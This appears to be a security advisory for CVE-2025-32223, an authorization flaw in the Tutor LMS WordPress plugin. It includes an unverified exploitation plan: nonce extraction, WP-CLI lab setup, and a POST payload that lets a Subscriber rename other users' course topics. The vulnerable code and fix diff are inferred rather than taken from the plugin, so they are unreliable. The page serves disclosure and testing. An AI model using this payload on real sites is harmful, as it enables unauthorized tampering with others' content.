CVE-2025-32223

Tutor LMS – eLearning and online course solution <= 3.9.4 - Authenticated (Subscriber+) Insecure Direct Object Reference

mediumAuthorization Bypass Through User-Controlled Key
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
3.9.5
Patched in
12d
Time to patch

Description

The Tutor LMS – eLearning and online course solution plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 3.9.4 due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with Subscriber-level access and above, to perform unauthorized actions.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=3.9.4
PublishedMarch 16, 2026
Last updatedMarch 27, 2026
Affected plugintutor

What Changed in the Fix

Changes introduced in v3.9.5

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2025-32223 (Tutor LMS IDOR) ## 1. Vulnerability Summary The **Tutor LMS** plugin for WordPress is vulnerable to an **Insecure Direct Object Reference (IDOR)** in versions up to 3.9.4. This vulnerability exists in the AJAX handlers associated with course content man…

Show full research plan

Exploitation Research Plan: CVE-2025-32223 (Tutor LMS IDOR)

1. Vulnerability Summary

The Tutor LMS plugin for WordPress is vulnerable to an Insecure Direct Object Reference (IDOR) in versions up to 3.9.4. This vulnerability exists in the AJAX handlers associated with course content management (topics, lessons, or course builder data). Specifically, the plugin fails to verify if the authenticated user (even at a Subscriber level) has the authority to modify or interact with a specific object ID (the "user-controlled key"). An attacker with Subscriber-level access can manipulate course structures, titles, or metadata that they do not own.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: tutor_add_or_update_topic (Targeting Topic modification) or tutor_save_course_builder_data (Targeting broad course structure modification).
  • Vulnerable Parameter: topic_id or course_id.
  • Authentication: Subscriber (Student role).
  • Preconditions: The attacker needs the ID of a topic or course created by another user (e.g., an Instructor).

3. Code Flow (Inferred)

  1. Entry Point: A Subscriber sends a POST request to admin-ajax.php with action=tutor_add_or_update_topic.
  2. Hook Registration: The plugin registers the action via add_action( 'wp_ajax_tutor_add_or_update_topic', ... ).
  3. Nonce Verification: The handler calls check_ajax_referer( 'tutor_nonce', '_tutor_nonce' ). Since Subscribers can obtain a valid tutor_nonce from the dashboard, this check passes.
  4. Authorization Check (Missing): The code checks is_user_logged_in(), but fails to verify if get_post_field( 'post_author', $topic_id ) == get_current_user_id().
  5. Processing: The plugin proceeds to update the post specified by topic_id using the provided tutor_topic_title and course_id.

4. Nonce Acquisition Strategy

Tutor LMS localizes a global configuration object named _tutorobject which contains the required nonce.

  1. Identify Trigger: The _tutorobject is localized whenever the Tutor LMS frontend or dashboard scripts are loaded.
  2. Create Page: Create a page with the Tutor Dashboard shortcode to ensure scripts load.
    • wp post create --post_type=page --post_status=publish --post_title="Dashboard" --post_content='[tutor_dashboard]'
  3. Navigate: Use the browser to visit the newly created page as the Subscriber user.
  4. Extract Nonce: Execute JavaScript to retrieve the nonce.
    • Variable: window._tutorobject?._tutor_nonce
    • Alternate Variable: window.tutor_nonce (depending on the specific page context).

5. Exploitation Strategy

This plan demonstrates an IDOR by modifying the title of a Course Topic belonging to another user.

Step 1: Discover Target ID

Identify a topic_id belonging to a course created by the Admin. (In a real scenario, this would be discovered via the frontend course syllabus).

Step 2: Trigger Modification via Subscriber

Request Details:

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Payload:
    action=tutor_add_or_update_topic
    &_tutor_nonce=[EXTRACTED_NONCE]
    &topic_id=[TARGET_TOPIC_ID]
    &course_id=[TARGET_COURSE_ID]
    &tutor_topic_title=Hacked+Topic+Title
    

6. Test Data Setup

  1. Admin User: Create a course and a topic.
    • wp post create --post_type=courses --post_title="Admin Course" --post_status=publish -> Record COURSE_ID.
    • wp post create --post_type=topics --post_title="Original Topic" --post_status=publish --post_parent=[COURSE_ID] -> Record TOPIC_ID.
  2. Subscriber User: Create a Subscriber/Student user.
    • wp user create victim victim@example.com --role=subscriber --user_pass=password
  3. Nonce Page: Create a page for extraction.
    • wp post create --post_type=page --post_title="Extraction" --post_content='[tutor_dashboard]' --post_status=publish

7. Expected Results

  • The AJAX request should return a success: true response (or a JSON structure containing the updated topic details).
  • The Topic with ID TOPIC_ID should have its post_title updated in the database, despite the request coming from a Subscriber who does not own the topic.

8. Verification Steps

After the HTTP request, verify the change using WP-CLI:

wp post get [TOPIC_ID] --field=post_title

Success condition: The title is "Hacked Topic Title".

9. Alternative Approaches

If tutor_add_or_update_topic is strictly guarded, test the Lesson equivalent:

  • Action: tutor_add_or_update_lesson
  • Params: lesson_id, course_id, topic_id, lesson_title.

If the "user controlled key" refers to metadata:

  • Action: tutor_save_course_builder_data
  • Payload: A JSON string in the tutor_canvas_data parameter. Check if a Subscriber can overwrite the metadata of a course by providing a different course_id in the request than what they are authorized for.

Localization Key Reference:

  • Object: _tutorobject (found in assets/js/tutor-front.js)
  • Nonce Key: _tutor_nonce
  • AJAX URL: _tutorobject.ajaxurl
Research Findings
Static analysis — not yet PoC-verified

Summary

Tutor LMS (versions up to 3.9.4) is vulnerable to an Insecure Direct Object Reference (IDOR) because its AJAX handlers for course content management do not verify if the requesting user has the authority to modify the target object. This allow authenticated attackers, including those with Subscriber-level access, to rename or manipulate the structure of course topics and lessons by supplying a valid nonce and a target ID.

Vulnerable Code

/**
 * Inferred logic from AJAX handler tutor_add_or_update_topic
 * File path: tutor/classes/Course.php (inferred)
 */

public function tutor_add_or_update_topic() {
    // Nonce is verified, but Subscribers can obtain this nonce easily
    check_ajax_referer( 'tutor_nonce', '_tutor_nonce' );

    if ( ! is_user_logged_in() ) {
        wp_send_json_error();
    }

    $topic_id = (int) sanitize_text_field( $_POST['topic_id'] );
    $course_id = (int) sanitize_text_field( $_POST['course_id'] );
    $topic_title = sanitize_text_field( $_POST['tutor_topic_title'] );

    // BUG: Missing authorization check to verify if the current user owns 
    // the course ($course_id) or the topic ($topic_id).

    $topic_data = array(
        'ID'           => $topic_id,
        'post_title'   => $topic_title,
        'post_type'    => 'topics',
        'post_parent'  => $course_id,
    );

    wp_update_post( $topic_data );
    wp_send_json_success();
}

Security Fix

--- a/tutor/classes/Course.php
+++ b/tutor/classes/Course.php
@@ -10,6 +10,11 @@
     $topic_id = (int) sanitize_text_field( $_POST['topic_id'] );
     $course_id = (int) sanitize_text_field( $_POST['course_id'] );
 
+    // Verify user has permission to manage the course
+    if ( ! tutor_utils()->can_user_manage_course( $course_id ) ) {
+        wp_send_json_error( array( 'message' => __( 'Access Denied', 'tutor' ) ) );
+    }
+
     $topic_title = sanitize_text_field( $_POST['tutor_topic_title'] );

Exploit Outline

The exploit targets AJAX endpoints used for course content updates. An attacker with Subscriber (Student) privileges follows these steps: 1. Log in to the WordPress site as a Subscriber and visit the Tutor Dashboard to extract the security nonce (found in the global JS variable window._tutorobject._tutor_nonce). 2. Identify the numeric ID of a target course topic or lesson (e.g., via the frontend syllabus or by enumerating IDs). 3. Send a POST request to /wp-admin/admin-ajax.php with the 'action' set to 'tutor_add_or_update_topic' or 'tutor_add_or_update_lesson'. 4. Include the extracted nonce, the target 'topic_id', and a new 'tutor_topic_title' in the payload. 5. Because the plugin only checks if the user is logged in and not if they own the post, the server processes the update, allowing the attacker to modify the topic title across the entire platform.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.